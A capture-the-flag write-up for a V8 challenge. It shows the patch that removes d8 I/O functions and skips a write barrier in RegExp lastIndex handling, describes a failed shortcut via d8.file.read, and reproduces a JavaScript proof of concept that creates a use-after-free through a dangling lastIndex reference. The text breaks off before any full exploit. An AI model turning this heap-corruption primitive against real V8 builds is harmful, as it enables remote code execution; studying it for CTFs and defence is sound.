#
osu-v8#
initial explorationChallenge provides a d8 binary, a patch, and tells us that the build was based on commit 8cf17a14a78cc1276eb42e1b4bb699f705675530
.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index eb804e52b18..89f4af9c8b6 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3284,23 +3284,23 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
- global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "writeFile",
- FunctionTemplate::New(isolate, WriteFile));
- }
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
+ // global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
+ // global_template->Set(isolate, "printErr",
+ // FunctionTemplate::New(isolate, PrintErr));
+ // global_template->Set(isolate, "write",
+ // FunctionTemplate::New(isolate, WriteStdout));
+ // if (!i::v8_flags.fuzzing) {
+ // global_template->Set(isolate, "writeFile",
+ // FunctionTemplate::New(isolate, WriteFile));
+ // }
+ // global_template->Set(isolate, "read",
+ // FunctionTemplate::New(isolate, ReadFile));
+ // global_template->Set(isolate, "readbuffer",
+ // FunctionTemplate::New(isolate, ReadBuffer));
+ // global_template->Set(isolate, "readline",
+ // FunctionTemplate::New(isolate, ReadLine));
+ // global_template->Set(isolate, "load",
+ // FunctionTemplate::New(isolate, ExecuteFile));
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
// Some Emscripten-generated code tries to call 'quit', which in turn would
diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index 22abd702805..a9b1101f9a7 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -50,7 +50,7 @@ MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
isolate->factory()->NewNumberFromInt64(value);
if (HasInitialRegExpMap(isolate, *recv)) {
JSRegExp::cast(*recv)->set_last_index(*value_as_object,
- UPDATE_WRITE_BARRIER);
+ SKIP_WRITE_BARRIER);
return recv;
} else {
return Object::SetProperty(
The patch removes some io functions, and changes a flag from UPDATE_WRITE_BARRIER
to SKIP_WRITE_BARRIER
in some regex handling code. Patching out the io functions is probably just to stop cheeses, and the actual vulnerability involves the regex code. But I'm lazy so we'll try to cheese the challenge first.
#
possible cheeseRunning the d8
binary and executing
prints out some interesting looking entries, namely os
and d8
d8> os
{chdir: function chdir() { [native code] }, setenv: function setenv() { [native code] }, unsetenv: function unsetenv() { [native code] }, umask: function umask() { [native code] }, mkdirp: function mkdirp() { [native code] }, rmdir: function rmdir() { [native code] }, name: "linux", d8Path: "./d8"}
os
has some file manipulation functions, but nothing to read files...
d8> d8
{file: {read: function read() { [native code] }, execute: function execute() { [native code] }}, log: {getAndStop: function getAndStop() { [native code] }}, dom: {EventTarget: function EventTarget() { [native code] }, Div: function Div() { [native code] }}, test: {verifySourcePositions: function verifySourcePositions() { [native code] }, installConditionalFeatures: function installConditionalFeatures() { [native code] }}, promise: {setHooks: function setHooks() { [native code] }}, debugger: {enable: function enable() { [native code] }, disable: function disable() { [native code] }}, serializer: {serialize: function serialize() { [native code] }, deserialize: function deserialize() { [native code] }}, profiler: {setOnProfileEndListener: function setOnProfileEndListener() { [native code] }, triggerSample: function triggerSample() { [native code] }}, terminate: function terminate() { [native code] }, quit: function quit() { [native code] }}
but d8
has a file.read()
function! Did the challenge authors somehow miss a easy cheese? Surely not...
Testing to see if file.read()
can leak the flag on remote:
didnt work :(. Taking a look at the dockerfile shows that the chall authors make flag
readonly by root, and give the getflag
binary root and suid permissions. Looks like we actually need to perform the intended exploit and get rce on remote.
#
back on trackA little bit of searching yields https://issues.chromium.org/issues/40059133, an issue that exploits the exact bug that the patch introduces. The thread includes a poc for uaf on the v8 heap, as well a full exploit.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
var re = new RegExp('foo', 'g');
var match_object = {};
match_object[0] = {
toString : function() {
return "";
}
};
re.exec = function() {
gc(); // move `re` to oldspace using a mark-sweep gc
delete re.exec; // transition back to initial regexp map to pass HasInitialRegExpMap
re.lastIndex = 1073741823; // maximum smi, adding one will result in a HeapNumber
RegExp.prototype.exec = function() {
throw ''; // break out of Regexp.replace
}
return match_object;
};
try {
var newstr = re[Symbol.replace]("fooooo", ".$");
} catch(e) {}
gc({type:'minor'});
gc({type:'minor'});
gc({type:'minor'});
gc({type:'minor'});
gc({type:'minor'});
%DebugPrint(re.lastIndex);
The poc shows how to create a dangling reference in re.lastIndex
to a location on the heap, the contents of which can then be overwritten with new data. This basically gives us a fakeobj
primitive which can be escalated to rce.